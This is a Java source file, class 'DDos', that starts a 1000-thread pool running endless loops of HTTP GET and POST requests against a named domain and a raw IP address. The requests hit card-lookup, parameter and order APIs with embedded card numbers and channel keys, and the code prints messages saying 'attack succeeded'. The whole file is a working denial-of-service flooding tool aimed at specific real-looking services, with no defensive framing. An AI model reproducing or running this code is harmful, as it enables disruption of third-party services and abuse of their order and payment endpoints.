package com.xxtx.trade.web;

import com.alibaba.fastjson.JSON;
import com.xxtx.trade.common.util.AcceptURLUtils;
import com.xxtx.trade.common.utils.HttpRequest;

import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
public class DDos {
    public static void main(String[] args) {
        ExecutorService es = Executors.newFixedThreadPool(1000);
        Mythread mythread = new Mythread();
        Thread thread = new Thread(mythread);
        for (int i = 0; i < 10000; i++) {
            es.execute(thread);
        }
    }


    static class Mythread implements Runnable {
        public void run() {
            while (true) {
                try {
                    String urlss="http://yjy.iot688.com/Api/flowsearch?cardno=89860461162080180001&sync=1";
                    String json = AcceptURLUtils.getJSON2Content(urlss, "GET");
                    AcceptURLUtils.getJSON2Content("http://yjy.iot688.com/Api/paras?name=m10646linemoney&cardno=89860461162080180001&first_level_agent_id=2", "GET");
                    AcceptURLUtils.getJSON2Content("http://yjy.iot688.com/Api/flowsearch?cardno=89860461162080180001&sync=1", "GET");
                    AcceptURLUtils.getJSON2Content("http://yjy.iot688.com/Api/searchnum?bindnumber=89860461162080180001", "GET");
                    AcceptURLUtils.getJSON2Content("http://yjjy.iot688.com/api/mobileweb/home?channel_id=28593&channel_key=28593e92d&wechatapp_id=279065&key=59138x0r2", "GET");


                   AcceptURLUtils.getJSON2Content("http://39.100.104.15:8080/Api/flowsearch?cardno=89860461162080180001&sync=1", "GET");
                    AcceptURLUtils.getJSON2Content("http://39.100.104.15:8080/Api/paras?name=m10646linemoney&cardno=89860461162080180001&first_level_agent_id=2", "GET");
                    AcceptURLUtils.getJSON2Content("http://39.100.104.15:8080/Api/flowsearch?cardno=89860461162080180001&sync=1", "GET");
                    AcceptURLUtils.getJSON2Content("http://39.100.104.15:8080/Api/searchnum?bindnumber=89860461162080180001", "GET");
                    AcceptURLUtils.getJSON2Content("http://39.100.104.15:8080/api/mobileweb/home?channel_id=28593&channel_key=28593e92d&wechatapp_id=279065&key=59138x0r2", "GET");

                    AcceptURLUtils.getJSON2Content("http://yjy.iot688.com", "GET");

                    String pkgUrl="http://yjy.iot688.com/Api/wxorder1";
                    Map<String, Object> map = new HashMap<>();
                    map.put("goods_id",1);
                    map.put("web_type",1);
                    map.put("dept_str","1.2.");
                    map.put("money",50);
                    map.put("cardno","89862232321312301");
                    map.put("paytype","1");
                    HttpRequest.sendPost(pkgUrl, JSON.toJSONString(map));
                    URL url = new URL("http://yjy.iot688.com/Api/flowsearch?cardno=89860461162080180001&sync=1");
                    URLConnection conn = url.openConnection();
                    System.out.println("发包成功！");
                    BufferedInputStream bis = new BufferedInputStream(
                            conn.getInputStream());
                    byte[] bytes = new byte[1024];
                    int len = -1;
                    StringBuffer sb = new StringBuffer();

                    if (bis != null) {
                        if ((len = bis.read()) != -1) {
                            sb.append(new String(bytes, 0, len));
                            System.out.println("攻击成功！");
                            bis.close();
                        }
                    }


                } catch (MalformedURLException e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                } catch (Exception e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }

            }
        }
    }
}
